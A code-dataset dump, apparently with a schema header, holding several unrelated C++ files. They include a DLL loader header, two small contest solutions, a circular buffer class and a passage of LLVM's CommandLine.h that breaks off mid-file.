blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
264
content_id
stringlengths
40
40
detected_licenses
listlengths
0
85
license_type
stringclasses
2 values
repo_name
stringlengths
5
140
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
986 values
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
3.89k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
145 values
src_encoding
stringclasses
34 values
language
stringclasses
1 value
is_vendor
bool
1 class
is_generated
bool
2 classes
length_bytes
int64
3
10.4M
extension
stringclasses
122 values
content
stringlengths
3
10.4M
authors
listlengths
1
1
author_id
stringlengths
0
158
7ba168d90b93f00af7e4fb9d7c2bd9278e9610b9
eb076df9388c6e234fc28525503de6a566faca4f
/manix-wm/src/main.cpp
908024cd1d31dc637506b68371211d8f546a8df2
[]
no_license
quadra/manix
cef6e43c8b8d266fecc803e852fcbf9119ddebb6
443613f468d84b6838837333d739e27fda798bdc
refs/heads/master
2021-01-10T20:08:03.266421
2010-03-27T12:52:00
2010-03-27T12:52:00
null
0
0
null
null
null
null
UTF-8
C++
false
false
102
cpp
#include "App.h" int main(int argc, char* argv[]) { using manix::wm::App; App app; app.run(); }
[ "psamathos@ubuntu.(none)" ]
psamathos@ubuntu.(none)
aea80a5f10a117d0219f358c62a3bf30b46984ec
ef45d92a984c6f0784f018a898521a70fa0c4b5c
/Project/GDE/GDE/Core/DLLLoader.h
0fbb867d56a87a2f04cec09286d6235a504bbc65
[]
no_license
bullfrognz/MoleMadness
5d515c8a0b303e8ab227a84ed4fbcd80f35594a2
134a9375d11b1cf6c7f78b59ebfa82760796c345
refs/heads/master
2020-12-29T01:32:22.550417
2014-05-24T04:20:58
2014-05-24T04:20:58
null
0
0
null
null
null
null
WINDOWS-1252
C++
false
false
943
h
/** * @file GDE\GDE\Core\DLLLoader.h * @brief * * Copyright() * Copyright © 2004-2010 Media Design School. All Rights Reserved. * *********************************************************************************************/ #ifndef _DLLLOADER_H__Included_871020847 #define _DLLLOADER_H__Included_871020847 namespace GDE { class CDLLWrapper; /** * This class deals with loading and saving the DLL. */ class CDLLLoader { public: CDLLLoader( void ); template <typename tDLL> bool GetDLLWrapper( const char* DLLName, int iDLL_ID, tDLL* &pLoadedDLL ) { if ( LoadDLLInterface( DLLName, iDLL_ID ) ) { pLoadedDLL = (tDLL*)m_pDLLInstance; return true; } return false; } bool ShutdownDLL( int iDLL_ID ); ~CDLLLoader( void ); protected: bool LoadDLLInterface( const char* DLLName, int iDLL_ID ); CDLLWrapper* m_pDLL; void* m_pDLLInstance; }; }// end namespace GDE #endif //_DLLLOADER_H__Included_871020847
[ "brycebooth@hotmail.com" ]
brycebooth@hotmail.com
d93bca5f2b61866edb690bda58b0f83dabf15605
96f44c254c727bbc65ab79789461c58dca1e6b8a
/IPL_WEEK_5/A/main.cpp
dfcd2e0dcbca64cdeb6f4ba15d278b2d952ab29b
[]
no_license
shreychowdhary/Programming-Problems
478c629b4e2474a548e91c3e7a23d874a8d791a6
324646f60b8c6cea7abb7829a06939e9ca795d17
refs/heads/master
2021-08-31T08:21:44.669126
2017-12-20T19:09:12
2017-12-20T19:09:12
51,653,137
0
0
null
null
null
null
UTF-8
C++
false
false
241
cpp
#include<iostream> using namespace std; int main() { int n, m; cin >> n >> m; int i = 1; while(true) { if(m < i) { break; } //cout << i<<endl; m -= i; i++; if(i == n+1) { i = 1; } } cout << m << endl; return 0; }
[ "shrey.chowdhary1@gmail.com" ]
shrey.chowdhary1@gmail.com
f2d574f2cdb758bbe38cf1e3bf20ef8df9ab51b4
8811b518619a061c2fe61c6609964cd93134f28e
/2018 Benelux Algorithm Programming Contest/Cardboard Box.cpp
5e081b81e492028792f90902624a9d4d3b45b1a7
[]
no_license
christopherhui/ICPC-Practice
ef8a70424f31929348fc883ed38214dabba1c236
fcbac53cd8750d028822555ddeaea9f4f7061a39
refs/heads/master
2021-06-18T20:14:15.249044
2021-01-18T05:00:37
2021-01-18T05:00:37
144,316,413
2
0
null
null
null
null
UTF-8
C++
false
false
412
cpp
#include <bits/stdc++.h> using namespace std; typedef long long ll; int main() { ios::sync_with_stdio(0); cin.tie(0); cout.tie(0); int v, min_num = INT_MAX; cin >> v; for (int i = 1; i*i <= v; i++) { for (int j = 1; j*j <= v; j++) { if (v % (i * j) == 0) { int k = v / (i*j); min_num = min(min_num, 2*i*j+2*i*k+2*j*k); } } } cout << min_num << endl; return 0; }
[ "christophergkhui@gmail.com" ]
christophergkhui@gmail.com
ceaf49f08005973f51947f680407114bd885a7c8
4cf6616725e0121bdf86d70182255ac06fd998bf
/src/base/cbuffer.cc
ba900f2a3e6f0679673e60619a7e8b0dc04b505f
[]
no_license
luigifcruz/samurai
f475d477833cde949e8a8fa1092d39bfff2ddcc0
63087b37860aebb55316962f6164b249b2677f71
refs/heads/main
2023-05-27T00:48:32.552171
2021-06-20T03:41:58
2021-06-20T03:41:58
323,462,029
0
0
null
null
null
null
UTF-8
C++
false
false
2,858
cc
#include "samurai/base/cbuffer.hpp" using namespace std::chrono_literals; namespace Samurai { template<class T> CircularBuffer<T>::CircularBuffer(size_t capacity) : capacity(capacity) { this->Reset(); this->buffer = std::unique_ptr<T[]>(new T[Capacity()]); } template<class T> CircularBuffer<T>::~CircularBuffer() { semaphore.notify_all(); io_mtx.lock(); buffer.reset(); } template<class T> Result CircularBuffer<T>::WaitBufferOccupancy(size_t size) { std::unique_lock<std::mutex> sync(sync_mtx); while (Occupancy() < size) { if (semaphore.wait_for(sync, 5s) == std::cv_status::timeout) return Result::ERROR_TIMEOUT; } return Result::SUCCESS; } template<class T> Result CircularBuffer<T>::Get(T* buf, size_t size) { if (Capacity() < size) { return Result::ERROR_BEYOND_CAPACITY; } Result res = WaitBufferOccupancy(size); if (res != Result::SUCCESS) goto exception; { const std::lock_guard<std::mutex> lock(io_mtx); size_t stage_a = MIN(size, Capacity() - head); size_t stage_b = (stage_a < size) ? size - stage_a : 0; std::copy_n(buffer.get() + head, stage_a, buf); std::copy_n(buffer.get(), stage_b, buf + stage_a); head = (head + size) % Capacity(); occupancy -= size; } exception: return res; } template<class T> Result CircularBuffer<T>::Put(T* buf, size_t size) { if (Capacity() < size) { return Result::ERROR_BEYOND_CAPACITY; } { const std::lock_guard<std::mutex> lock(io_mtx); if (Capacity() < (Occupancy() + size)) { printf("o"); occupancy = 0; head = tail; } size_t stage_a = MIN(size, Capacity() - tail); size_t stage_b = (stage_a < size) ? size - stage_a : 0; std::copy_n(buf, stage_a, buffer.get() + tail); std::copy_n(buf + stage_a, stage_b, buffer.get()); tail = (tail + size) % Capacity(); occupancy += size; } semaphore.notify_all(); return Result::SUCCESS; } template<class T> Result CircularBuffer<T>::Reset() { { const std::lock_guard<std::mutex> lock(io_mtx); this->head = 0; this->tail = 0; this->occupancy = 0; } semaphore.notify_all(); return Result::SUCCESS; } template<class T> size_t CircularBuffer<T>::Capacity() { return this->capacity; } template<class T> size_t CircularBuffer<T>::Occupancy() { return this->occupancy; } template<class T> bool CircularBuffer<T>::IsEmpty() { return Occupancy() == 0; } template<class T> bool CircularBuffer<T>::IsFull() { return Occupancy() == Capacity(); } template class CircularBuffer<char>; template class CircularBuffer<float>; template class CircularBuffer<std::complex<float>>; } // namespace Samurai
[ "luigifcruz@gmail.com" ]
luigifcruz@gmail.com
fdf892a5ae04347c1fa5f5423b3de1a0857d2b66
3cd1e6cff03461acf5edc1d25f253f1a0af383d0
/include/llvm/Support/CommandLine.h
d0c304712ac77b5d6de5963cdbaa7ed649b651bb
[ "NCSA" ]
permissive
Quantum-Platinum-Cloud/llvmCore
aacb91b619df609f1baf91df966e31a15bda31cc
06636e2aa0be8e24b9c3ed903480bdd49471ee5d
refs/heads/main
2023-08-23T17:42:51.782394
2013-10-29T00:03:36
2021-10-06T05:26:44
589,028,216
1
0
NOASSERTION
2023-01-14T20:31:25
2023-01-14T20:31:24
null
UTF-8
C++
false
false
57,203
h
//===- llvm/Support/CommandLine.h - Command line handler --------*- C++ -*-===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // This class implements a command line argument processor that is useful when // creating a tool. It provides a simple, minimalistic interface that is easily // extensible and supports nonlocal (library) command line options. // // Note that rather than trying to figure out what this code does, you should // read the library documentation located in docs/CommandLine.html or looks at // the many example usages in tools/*/*.cpp // //===----------------------------------------------------------------------===// #ifndef LLVM_SUPPORT_COMMANDLINE_H #define LLVM_SUPPORT_COMMANDLINE_H #include "llvm/Support/type_traits.h" #include "llvm/Support/Compiler.h" #include "llvm/ADT/SmallVector.h" #include "llvm/ADT/Twine.h" #include <cassert> #include <climits> #include <cstdarg> #include <utility> #include <vector> namespace llvm { /// cl Namespace - This namespace contains all of the command line option /// processing machinery. It is intentionally a short name to make qualified /// usage concise. namespace cl { //===----------------------------------------------------------------------===// // ParseCommandLineOptions - Command line option processing entry point. // void ParseCommandLineOptions(int argc, const char * const *argv, const char *Overview = 0, bool ReadResponseFiles = false); //===----------------------------------------------------------------------===// // ParseEnvironmentOptions - Environment variable option processing alternate // entry point. // void ParseEnvironmentOptions(const char *progName, const char *envvar, const char *Overview = 0, bool ReadResponseFiles = false); ///===---------------------------------------------------------------------===// /// SetVersionPrinter - Override the default (LLVM specific) version printer /// used to print out the version when --version is given /// on the command line. This allows other systems using the /// CommandLine utilities to print their own version string. void SetVersionPrinter(void (*func)()); ///===---------------------------------------------------------------------===// /// AddExtraVersionPrinter - Add an extra printer to use in addition to the /// default one. This can be called multiple times, /// and each time it adds a new function to the list /// which will be called after the basic LLVM version /// printing is complete. Each can then add additional /// information specific to the tool. void AddExtraVersionPrinter(void (*func)()); // PrintOptionValues - Print option values. // With -print-options print the difference between option values and defaults. // With -print-all-options print all option values. // (Currently not perfect, but best-effort.) void PrintOptionValues(); // MarkOptionsChanged - Internal helper function. void MarkOptionsChanged(); //===----------------------------------------------------------------------===// // Flags permitted to be passed to command line arguments // enum NumOccurrencesFlag { // Flags for the number of occurrences allowed Optional = 0x00, // Zero or One occurrence ZeroOrMore = 0x01, // Zero or more occurrences allowed Required = 0x02, // One occurrence required OneOrMore = 0x03, // One or more occurrences required // ConsumeAfter - Indicates that this option is fed anything that follows the // last positional argument required by the application (it is an error if // there are zero positional arguments, and a ConsumeAfter option is used). // Thus, for example, all arguments to LLI are processed until a filename is // found. Once a filename is found, all of the succeeding arguments are // passed, unprocessed, to the ConsumeAfter option. // ConsumeAfter = 0x04 }; enum ValueExpected { // Is a value required for the option? // zero reserved for the unspecified value ValueOptional = 0x01, // The value can appear... or not ValueRequired = 0x02, // The value is required to appear! ValueDisallowed = 0x03 // A value may not be specified (for flags) }; enum OptionHidden { // Control whether -help shows this option NotHidden = 0x00, // Option included in -help & -help-hidden Hidden = 0x01, // -help doesn't, but -help-hidden does ReallyHidden = 0x02 // Neither -help nor -help-hidden show this arg }; // Formatting flags - This controls special features that the option might have // that cause it to be parsed differently... // // Prefix - This option allows arguments that are otherwise unrecognized to be // matched by options that are a prefix of the actual value. This is useful for // cases like a linker, where options are typically of the form '-lfoo' or // '-L../../include' where -l or -L are the actual flags. When prefix is // enabled, and used, the value for the flag comes from the suffix of the // argument. // // Grouping - With this option enabled, multiple letter options are allowed to // bunch together with only a single hyphen for the whole group. This allows // emulation of the behavior that ls uses for example: ls -la === ls -l -a // enum FormattingFlags { NormalFormatting = 0x00, // Nothing special Positional = 0x01, // Is a positional argument, no '-' required Prefix = 0x02, // Can this option directly prefix its value? Grouping = 0x03 // Can this option group with other options? }; enum MiscFlags { // Miscellaneous flags to adjust argument CommaSeparated = 0x01, // Should this cl::list split between commas? PositionalEatsArgs = 0x02, // Should this positional cl::list eat -args? Sink = 0x04 // Should this cl::list eat all unknown options? }; //===----------------------------------------------------------------------===// // Option Base class // class alias; class Option { friend class alias; // handleOccurrences - Overriden by subclasses to handle the value passed into // an argument. Should return true if there was an error processing the // argument and the program should exit. // virtual bool handleOccurrence(unsigned pos, StringRef ArgName, StringRef Arg) = 0; virtual enum ValueExpected getValueExpectedFlagDefault() const { return ValueOptional; } // Out of line virtual function to provide home for the class. virtual void anchor(); int NumOccurrences; // The number of times specified // Occurrences, HiddenFlag, and Formatting are all enum types but to avoid // problems with signed enums in bitfields. unsigned Occurrences : 3; // enum NumOccurrencesFlag // not using the enum type for 'Value' because zero is an implementation // detail representing the non-value unsigned Value : 2; unsigned HiddenFlag : 2; // enum OptionHidden unsigned Formatting : 2; // enum FormattingFlags unsigned Misc : 3; unsigned Position; // Position of last occurrence of the option unsigned AdditionalVals;// Greater than 0 for multi-valued option. Option *NextRegistered; // Singly linked list of registered options. public: const char *ArgStr; // The argument string itself (ex: "help", "o") const char *HelpStr; // The descriptive text message for -help const char *ValueStr; // String describing what the value of this option is inline enum NumOccurrencesFlag getNumOccurrencesFlag() const { return (enum NumOccurrencesFlag)Occurrences; } inline enum ValueExpected getValueExpectedFlag() const { return Value ? ((enum ValueExpected)Value) : getValueExpectedFlagDefault(); } inline enum OptionHidden getOptionHiddenFlag() const { return (enum OptionHidden)HiddenFlag; } inline enum FormattingFlags getFormattingFlag() const { return (enum FormattingFlags)Formatting; } inline unsigned getMiscFlags() const { return Misc; } inline unsigned getPosition() const { return Position; } inline unsigned getNumAdditionalVals() const { return AdditionalVals; } // hasArgStr - Return true if the argstr != "" bool hasArgStr() const { return ArgStr[0] != 0; } //-------------------------------------------------------------------------=== // Accessor functions set by OptionModifiers // void setArgStr(const char *S) { ArgStr = S; } void setDescription(const char *S) { HelpStr = S; } void setValueStr(const char *S) { ValueStr = S; } void setNumOccurrencesFlag(enum NumOccurrencesFlag Val) { Occurrences = Val; } void setValueExpectedFlag(enum ValueExpected Val) { Value = Val; } void setHiddenFlag(enum OptionHidden Val) { HiddenFlag = Val; } void setFormattingFlag(enum FormattingFlags V) { Formatting = V; } void setMiscFlag(enum MiscFlags M) { Misc |= M; } void setPosition(unsigned pos) { Position = pos; } protected: explicit Option(enum NumOccurrencesFlag OccurrencesFlag, enum OptionHidden Hidden) : NumOccurrences(0), Occurrences(OccurrencesFlag), Value(0), HiddenFlag(Hidden), Formatting(NormalFormatting), Misc(0), Position(0), AdditionalVals(0), NextRegistered(0), ArgStr(""), HelpStr(""), ValueStr("") { } inline void setNumAdditionalVals(unsigned n) { AdditionalVals = n; } public: // addArgument - Register this argument with the commandline system. // void addArgument(); Option *getNextRegisteredOption() const { return NextRegistered; } // Return the width of the option tag for printing... virtual size_t getOptionWidth() const = 0; // printOptionInfo - Print out information about this option. The // to-be-maintained width is specified. // virtual void printOptionInfo(size_t GlobalWidth) const = 0; virtual void printOptionValue(size_t GlobalWidth, bool Force) const = 0; virtual void getExtraOptionNames(SmallVectorImpl<const char*> &) {} // addOccurrence - Wrapper around handleOccurrence that enforces Flags. // bool addOccurrence(unsigned pos, StringRef ArgName, StringRef Value, bool MultiArg = false); // Prints option name followed by message. Always returns true. bool error(const Twine &Message, StringRef ArgName = StringRef()); public: inline int getNumOccurrences() const { return NumOccurrences; } virtual ~Option() {} }; //===----------------------------------------------------------------------===// // Command line option modifiers that can be used to modify the behavior of // command line option parsers... // // desc - Modifier to set the description shown in the -help output... struct desc { const char *Desc; desc(const char *Str) : Desc(Str) {} void apply(Option &O) const { O.setDescription(Desc); } }; // value_desc - Modifier to set the value description shown in the -help // output... struct value_desc { const char *Desc; value_desc(const char *Str) : Desc(Str) {} void apply(Option &O) const { O.setValueStr(Desc); } }; // init - Specify a default (initial) value for the command line argument, if // the default constructor for the argument type does not give you what you // want. This is only valid on "opt" arguments, not on "list" arguments. // template<class Ty> struct initializer { const Ty &Init; initializer(const Ty &Val) : Init(Val) {} template<class Opt> void apply(Opt &O) const { O.setInitialValue(Init); } }; template<class Ty> initializer<Ty> init(const Ty &Val) { return initializer<Ty>(Val); } // location - Allow the user to specify which external variable they want to // store the results of the command line argument processing into, if they don't // want to store it in the option itself. // template<class Ty> struct LocationClass { Ty &Loc; LocationClass(Ty &L) : Loc(L) {} template<class Opt> void apply(Opt &O) const { O.setLocation(O, Loc); } }; template<class Ty> LocationClass<Ty> location(Ty &L) { return LocationClass<Ty>(L); } //===----------------------------------------------------------------------===// // OptionValue class // Support value comparison outside the template. struct GenericOptionValue { virtual ~GenericOptionValue() {} virtual bool compare(const GenericOptionValue &V) const = 0; private: virtual void anchor(); }; template<class DataType> struct OptionValue; // The default value safely does nothing. Option value printing is only // best-effort. template<class DataType, bool isClass> struct OptionValueBase : public GenericOptionValue { // Temporary storage for argument passing. typedef OptionValue<DataType> WrapperType; bool hasValue() const { return false; } const DataType &getValue() const { llvm_unreachable("no default value"); } // Some options may take their value from a different data type. template<class DT> void setValue(const DT& /*V*/) {} bool compare(const DataType &/*V*/) const { return false; } virtual bool compare(const GenericOptionValue& /*V*/) const { return false; } }; // Simple copy of the option value. template<class DataType> class OptionValueCopy : public GenericOptionValue { DataType Value; bool Valid; public: OptionValueCopy() : Valid(false) {} bool hasValue() const { return Valid; } const DataType &getValue() const { assert(Valid && "invalid option value"); return Value; } void setValue(const DataType &V) { Valid = true; Value = V; } bool compare(const DataType &V) const { return Valid && (Value != V); } virtual bool compare(const GenericOptionValue &V) const { const OptionValueCopy<DataType> &VC = static_cast< const OptionValueCopy<DataType>& >(V); if (!VC.hasValue()) return false; return compare(VC.getValue()); } }; // Non-class option values. template<class DataType> struct OptionValueBase<DataType, false> : OptionValueCopy<DataType> { typedef DataType WrapperType; }; // Top-level option class. template<class DataType> struct OptionValue : OptionValueBase<DataType, is_class<DataType>::value> { OptionValue() {} OptionValue(const DataType& V) { this->setValue(V); } // Some options may take their value from a different data type. template<class DT> OptionValue<DataType> &operator=(const DT& V) { this->setValue(V); return *this; } }; // Other safe-to-copy-by-value common option types. enum boolOrDefault { BOU_UNSET, BOU_TRUE, BOU_FALSE }; template<> struct OptionValue<cl::boolOrDefault> : OptionValueCopy<cl::boolOrDefault> { typedef cl::boolOrDefault WrapperType; OptionValue() {} OptionValue(const cl::boolOrDefault& V) { this->setValue(V); } OptionValue<cl::boolOrDefault> &operator=(const cl::boolOrDefault& V) { setValue(V); return *this; } private: virtual void anchor(); }; template<> struct OptionValue<std::string> : OptionValueCopy<std::string> { typedef StringRef WrapperType; OptionValue() {} OptionValue(const std::string& V) { this->setValue(V); } OptionValue<std::string> &operator=(const std::string& V) { setValue(V); return *this; } private: virtual void anchor(); }; //===----------------------------------------------------------------------===// // Enum valued command line option // #define clEnumVal(ENUMVAL, DESC) #ENUMVAL, int(ENUMVAL), DESC #define clEnumValN(ENUMVAL, FLAGNAME, DESC) FLAGNAME, int(ENUMVAL), DESC #define clEnumValEnd (reinterpret_cast<void*>(0)) // values - For custom data types, allow specifying a group of values together // as the values that go into the mapping that the option handler uses. Note // that the values list must always have a 0 at the end of the list to indicate // that the list has ended. // template<class DataType> class ValuesClass { // Use a vector instead of a map, because the lists should be short, // the overhead is less, and most importantly, it keeps them in the order // inserted so we can print our option out nicely. SmallVector<std::pair<const char *, std::pair<int, const char *> >,4> Values; void processValues(va_list Vals); public: ValuesClass(const char *EnumName, DataType Val, const char *Desc, va_list ValueArgs) { // Insert the first value, which is required. Values.push_back(std::make_pair(EnumName, std::make_pair(Val, Desc))); // Process the varargs portion of the values... while (const char *enumName = va_arg(ValueArgs, const char *)) { DataType EnumVal = static_cast<DataType>(va_arg(ValueArgs, int)); const char *EnumDesc = va_arg(ValueArgs, const char *); Values.push_back(std::make_pair(enumName, // Add value to value map std::make_pair(EnumVal, EnumDesc))); } } template<class Opt> void apply(Opt &O) const { for (unsigned i = 0, e = static_cast<unsigned>(Values.size()); i != e; ++i) O.getParser().addLiteralOption(Values[i].first, Values[i].second.first, Values[i].second.second); } }; template<class DataType> ValuesClass<DataType> END_WITH_NULL values(const char *Arg, DataType Val, const char *Desc, ...) { va_list ValueArgs; va_start(ValueArgs, Desc); ValuesClass<DataType> Vals(Arg, Val, Desc, ValueArgs); va_end(ValueArgs); return Vals; } //===----------------------------------------------------------------------===// // parser class - Parameterizable parser for different data types. By default, // known data types (string, int, bool) have specialized parsers, that do what // you would expect. The default parser, used for data types that are not // built-in, uses a mapping table to map specific options to values, which is // used, among other things, to handle enum types. //-------------------------------------------------- // generic_parser_base - This class holds all the non-generic code that we do // not need replicated for every instance of the generic parser. This also // allows us to put stuff into CommandLine.cpp // class generic_parser_base { protected: class GenericOptionInfo { public: GenericOptionInfo(const char *name, const char *helpStr) : Name(name), HelpStr(helpStr) {} const char *Name; const char *HelpStr; }; public: virtual ~generic_parser_base() {} // Base class should have virtual-dtor // getNumOptions - Virtual function implemented by generic subclass to // indicate how many entries are in Values. // virtual unsigned getNumOptions() const = 0; // getOption - Return option name N. virtual const char *getOption(unsigned N) const = 0; // getDescription - Return description N virtual const char *getDescription(unsigned N) const = 0; // Return the width of the option tag for printing... virtual size_t getOptionWidth(const Option &O) const; virtual const GenericOptionValue &getOptionValue(unsigned N) const = 0; // printOptionInfo - Print out information about this option. The // to-be-maintained width is specified. // virtual void printOptionInfo(const Option &O, size_t GlobalWidth) const; void printGenericOptionDiff(const Option &O, const GenericOptionValue &V, const GenericOptionValue &Default, size_t GlobalWidth) const; // printOptionDiff - print the value of an option and it's default. // // Template definition ensures that the option and default have the same // DataType (via the same AnyOptionValue). template<class AnyOptionValue> void printOptionDiff(const Option &O, const AnyOptionValue &V, const AnyOptionValue &Default, size_t GlobalWidth) const { printGenericOptionDiff(O, V, Default, GlobalWidth); } void initialize(Option &O) { // All of the modifiers for the option have been processed by now, so the // argstr field should be stable, copy it down now. // hasArgStr = O.hasArgStr(); } void getExtraOptionNames(SmallVectorImpl<const char*> &OptionNames) { // If there has been no argstr specified, that means that we need to add an // argument for every possible option. This ensures that our options are // vectored to us. if (!hasArgStr) for (unsigned i = 0, e = getNumOptions(); i != e; ++i) OptionNames.push_back(getOption(i)); } enum ValueExpected getValueExpectedFlagDefault() const { // If there is an ArgStr specified, then we are of the form: // // -opt=O2 or -opt O2 or -optO2 // // In which case, the value is required. Otherwise if an arg str has not // been specified, we are of the form: // // -O2 or O2 or -la (where -l and -a are separate options) // // If this is the case, we cannot allow a value. // if (hasArgStr) return ValueRequired; else return ValueDisallowed; } // findOption - Return the option number corresponding to the specified // argument string. If the option is not found, getNumOptions() is returned. // unsigned findOption(const char *Name); protected: bool hasArgStr; }; // Default parser implementation - This implementation depends on having a // mapping of recognized options to values of some sort. In addition to this, // each entry in the mapping also tracks a help message that is printed with the // command line option for -help. Because this is a simple mapping parser, the // data type can be any unsupported type. // template <class DataType> class parser : public generic_parser_base { protected: class OptionInfo : public GenericOptionInfo { public: OptionInfo(const char *name, DataType v, const char *helpStr) : GenericOptionInfo(name, helpStr), V(v) {} OptionValue<DataType> V; }; SmallVector<OptionInfo, 8> Values; public: typedef DataType parser_data_type; // Implement virtual functions needed by generic_parser_base unsigned getNumOptions() const { return unsigned(Values.size()); } const char *getOption(unsigned N) const { return Values[N].Name; } const char *getDescription(unsigned N) const { return Values[N].HelpStr; } // getOptionValue - Return the value of option name N. virtual const GenericOptionValue &getOptionValue(unsigned N) const { return Values[N].V; } // parse - Return true on error. bool parse(Option &O, StringRef ArgName, StringRef Arg, DataType &V) { StringRef ArgVal; if (hasArgStr) ArgVal = Arg; else ArgVal = ArgName; for (unsigned i = 0, e = static_cast<unsigned>(Values.size()); i != e; ++i) if (Values[i].Name == ArgVal) { V = Values[i].V.getValue(); return false; } return O.error("Cannot find option named '" + ArgVal + "'!"); } /// addLiteralOption - Add an entry to the mapping table. /// template <class DT> void addLiteralOption(const char *Name, const DT &V, const char *HelpStr) { assert(findOption(Name) == Values.size() && "Option already exists!"); OptionInfo X(Name, static_cast<DataType>(V), HelpStr); Values.push_back(X); MarkOptionsChanged(); } /// removeLiteralOption - Remove the specified option. /// void removeLiteralOption(const char *Name) { unsigned N = findOption(Name); assert(N != Values.size() && "Option not found!"); Values.erase(Values.begin()+N); } }; //-------------------------------------------------- // basic_parser - Super class of parsers to provide boilerplate code // class basic_parser_impl { // non-template implementation of basic_parser<t> public: virtual ~basic_parser_impl() {} enum ValueExpected getValueExpectedFlagDefault() const { return ValueRequired; } void getExtraOptionNames(SmallVectorImpl<const char*> &) {} void initialize(Option &) {} // Return the width of the option tag for printing... size_t getOptionWidth(const Option &O) const; // printOptionInfo - Print out information about this option. The // to-be-maintained width is specified. // void printOptionInfo(const Option &O, size_t GlobalWidth) const; // printOptionNoValue - Print a placeholder for options that don't yet support // printOptionDiff(). void printOptionNoValue(const Option &O, size_t GlobalWidth) const; // getValueName - Overload in subclass to provide a better default value. virtual const char *getValueName() const { return "value"; } // An out-of-line virtual method to provide a 'home' for this class. virtual void anchor(); protected: // A helper for basic_parser::printOptionDiff. void printOptionName(const Option &O, size_t GlobalWidth) const; }; // basic_parser - The real basic parser is just a template wrapper that provides // a typedef for the provided data type. // template<class DataType> class basic_parser : public basic_parser_impl { public: typedef DataType parser_data_type; typedef OptionValue<DataType> OptVal; }; //-------------------------------------------------- // parser<bool> // template<> class parser<bool> : public basic_parser<bool> { const char *ArgStr; public: // parse - Return true on error. bool parse(Option &O, StringRef ArgName, StringRef Arg, bool &Val); template <class Opt> void initialize(Opt &O) { ArgStr = O.ArgStr; } enum ValueExpected getValueExpectedFlagDefault() const { return ValueOptional; } // getValueName - Do not print =<value> at all. virtual const char *getValueName() const { return 0; } void printOptionDiff(const Option &O, bool V, OptVal Default, size_t GlobalWidth) const; // An out-of-line virtual method to provide a 'home' for this class. virtual void anchor(); }; EXTERN_TEMPLATE_INSTANTIATION(class basic_parser<bool>); //-------------------------------------------------- // parser<boolOrDefault> template<> class parser<boolOrDefault> : public basic_parser<boolOrDefault> { public: // parse - Return true on error. bool parse(Option &O, StringRef ArgName, StringRef Arg, boolOrDefault &Val); enum ValueExpected getValueExpectedFlagDefault() const { return ValueOptional; } // getValueName - Do not print =<value> at all. virtual const char *getValueName() const { return 0; } void printOptionDiff(const Option &O, boolOrDefault V, OptVal Default, size_t GlobalWidth) const; // An out-of-line virtual method to provide a 'home' for this class. virtual void anchor(); }; EXTERN_TEMPLATE_INSTANTIATION(class basic_parser<boolOrDefault>); //-------------------------------------------------- // parser<int> // template<> class parser<int> : public basic_parser<int> { public: // parse - Return true on error. bool parse(Option &O, StringRef ArgName, StringRef Arg, int &Val); // getValueName - Overload in subclass to provide a better default value. virtual const char *getValueName() const { return "int"; } void printOptionDiff(const Option &O, int V, OptVal Default, size_t GlobalWidth) const; // An out-of-line virtual method to provide a 'home' for this class. virtual void anchor(); }; EXTERN_TEMPLATE_INSTANTIATION(class basic_parser<int>); //-------------------------------------------------- // parser<unsigned> // template<> class parser<unsigned> : public basic_parser<unsigned> { public: // parse - Return true on error. bool parse(Option &O, StringRef ArgName, StringRef Arg, unsigned &Val); // getValueName - Overload in subclass to provide a better default value. virtual const char *getValueName() const { return "uint"; } void printOptionDiff(const Option &O, unsigned V, OptVal Default, size_t GlobalWidth) const; // An out-of-line virtual method to provide a 'home' for this class. virtual void anchor(); }; EXTERN_TEMPLATE_INSTANTIATION(class basic_parser<unsigned>); //-------------------------------------------------- // parser<unsigned long long> // template<> class parser<unsigned long long> : public basic_parser<unsigned long long> { public: // parse - Return true on error. bool parse(Option &O, StringRef ArgName, StringRef Arg, unsigned long long &Val); // getValueName - Overload in subclass to provide a better default value. virtual const char *getValueName() const { return "uint"; } void printOptionDiff(const Option &O, unsigned long long V, OptVal Default, size_t GlobalWidth) const; // An out-of-line virtual method to provide a 'home' for this class. virtual void anchor(); }; EXTERN_TEMPLATE_INSTANTIATION(class basic_parser<unsigned long long>); //-------------------------------------------------- // parser<double> // template<> class parser<double> : public basic_parser<double> { public: // parse - Return true on error. bool parse(Option &O, StringRef ArgName, StringRef Arg, double &Val); // getValueName - Overload in subclass to provide a better default value. virtual const char *getValueName() const { return "number"; } void printOptionDiff(const Option &O, double V, OptVal Default, size_t GlobalWidth) const; // An out-of-line virtual method to provide a 'home' for this class. virtual void anchor(); }; EXTERN_TEMPLATE_INSTANTIATION(class basic_parser<double>); //-------------------------------------------------- // parser<float> // template<> class parser<float> : public basic_parser<float> { public: // parse - Return true on error. bool parse(Option &O, StringRef ArgName, StringRef Arg, float &Val); // getValueName - Overload in subclass to provide a better default value. virtual const char *getValueName() const { return "number"; } void printOptionDiff(const Option &O, float V, OptVal Default, size_t GlobalWidth) const; // An out-of-line virtual method to provide a 'home' for this class. virtual void anchor(); }; EXTERN_TEMPLATE_INSTANTIATION(class basic_parser<float>); //-------------------------------------------------- // parser<std::string> // template<> class parser<std::string> : public basic_parser<std::string> { public: // parse - Return true on error. bool parse(Option &, StringRef, StringRef Arg, std::string &Value) { Value = Arg.str(); return false; } // getValueName - Overload in subclass to provide a better default value. virtual const char *getValueName() const { return "string"; } void printOptionDiff(const Option &O, StringRef V, OptVal Default, size_t GlobalWidth) const; // An out-of-line virtual method to provide a 'home' for this class. virtual void anchor(); }; EXTERN_TEMPLATE_INSTANTIATION(class basic_parser<std::string>); //-------------------------------------------------- // parser<char> // template<> class parser<char> : public basic_parser<char> { public: // parse - Return true on error. bool parse(Option &, StringRef, StringRef Arg, char &Value) { Value = Arg[0]; return false; } // getValueName - Overload in subclass to provide a better default value. virtual const char *getValueName() const { return "char"; } void printOptionDiff(const Option &O, char V, OptVal Default, size_t GlobalWidth) const; // An out-of-line virtual method to provide a 'home' for this class. virtual void anchor(); }; EXTERN_TEMPLATE_INSTANTIATION(class basic_parser<char>); //-------------------------------------------------- // 